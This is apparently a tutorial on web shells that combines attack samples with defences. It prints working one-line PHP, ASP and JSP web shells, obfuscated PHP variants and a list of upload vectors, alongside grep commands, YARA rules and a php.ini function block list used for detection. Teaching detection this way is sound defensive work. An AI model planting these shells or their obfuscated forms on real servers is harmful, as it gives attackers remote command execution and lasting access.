Key Takeaways
- Web shells provide persistent backdoor access
- Obfuscation makes detection challenging
- File integrity monitoring is essential
- YARA rules help detect known patterns
Contents
1. What are Web Shells?
A web shell is a script uploaded to a web server that provides remote access and control. Attackers use web shells to maintain persistence, execute commands, and pivot deeper into networks.
2. Common Web Shell Types
Simple PHP Web Shell
<?php system($_GET['cmd']); ?>
// Usage: shell.php?cmd=whoami
<?php eval($_POST['code']); ?>
// Execute arbitrary PHP code
<?php passthru($_REQUEST['c']); ?>
ASP/ASPX Web Shells
<% eval request("cmd") %>
<%@ Page Language="C#" %>
<% System.Diagnostics.Process.Start(Request["cmd"]); %>
JSP Web Shells
<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>
Feature-Rich Shells
- c99: Full-featured PHP shell with file manager, DB access
- r57: Popular PHP shell with many features
- Weevely: Stealthy PHP shell with encrypted comms
- China Chopper: Tiny but powerful, 4KB
- WSO (Web Shell by oRb): Popular in attacks
3. Obfuscation Techniques
// Base64 encoding
<?php eval(base64_decode("c3lzdGVtKCRfR0VUWydjbWQnXSk7")); ?>
// String concatenation
<?php $a='sys'.'tem'; $a($_GET['cmd']); ?>
// Variable functions
<?php $f='system'; $f($_GET['c']); ?>
// Hex encoding
<?php $f="\x73\x79\x73\x74\x65\x6d"; $f($_GET['c']); ?>
// Gzip compression
<?php eval(gzinflate(base64_decode("..."))); ?>
// Preg_replace with /e modifier (deprecated)
<?php preg_replace('/.*/e', $_POST['code'], ''); ?>
4. Common Upload Vectors
- File upload vulnerabilities: Image upload accepts PHP
- LFI to RCE: Log poisoning + include
- SQL injection: INTO OUTFILE to write shell
- RCE vulnerabilities: Exploit → write shell
- CMS vulnerabilities: WordPress, Drupal, Joomla
- Deserialization: Write files during exploit
5. Detection Methods
Detection Techniques
# Search for dangerous PHP functions
grep -rn "eval\|system\|passthru\|shell_exec\|exec\|base64_decode" /var/www/
# Find recently modified files
find /var/www -type f -mtime -7 -name "*.php"
# Files with suspicious permissions
find /var/www -type f -perm /o+w
# Large encoded strings
grep -rn "base64_decode" /var/www/ | grep -E ".{500,}"
# Web server logs analysis
grep -E "cmd=|c=|exec|shell" access.log
6. YARA Rules for Web Shells
rule PHP_WebShell_Generic {
meta:
description = "Detects generic PHP web shells"
strings:
$f1 = "eval(" nocase
$f2 = "base64_decode" nocase
$f3 = "system(" nocase
$f4 = "shell_exec(" nocase
$f5 = "passthru(" nocase
$f6 = "$_GET[" nocase
$f7 = "$_POST[" nocase
$f8 = "$_REQUEST[" nocase
condition:
(any of ($f1,$f2,$f3,$f4,$f5)) and (any of ($f6,$f7,$f8))
}
rule Known_WebShell_C99 {
strings:
$a = "c99shell"
$b = "c99_buff_prepare"
condition:
any of them
}
7. Incident Response
- Isolate: Take server offline if possible
- Preserve: Image the system, copy logs
- Identify: Find all web shells (may be multiple)
- Analyze: Determine upload vector
- Eradicate: Remove shells, patch vulnerability
- Monitor: Watch for reinfection
8. Prevention
Prevention Checklist
- ✅ File integrity monitoring (OSSEC, Tripwire)
- ✅ Restrict file upload types and locations
- ✅ Disable dangerous PHP functions in php.ini
- ✅ Web Application Firewall (WAF)
- ✅ Regular vulnerability scanning
- ✅ Least privilege file permissions
- ✅ Keep CMS and plugins updated
; php.ini - Disable dangerous functions
disable_functions = exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source
FAQ
How do attackers hide web shells?
Encoding (base64, gzip), obfuscation, hidden in legitimate files, deep in directory structures, using legitimate-looking filenames (wp-config.bak.php).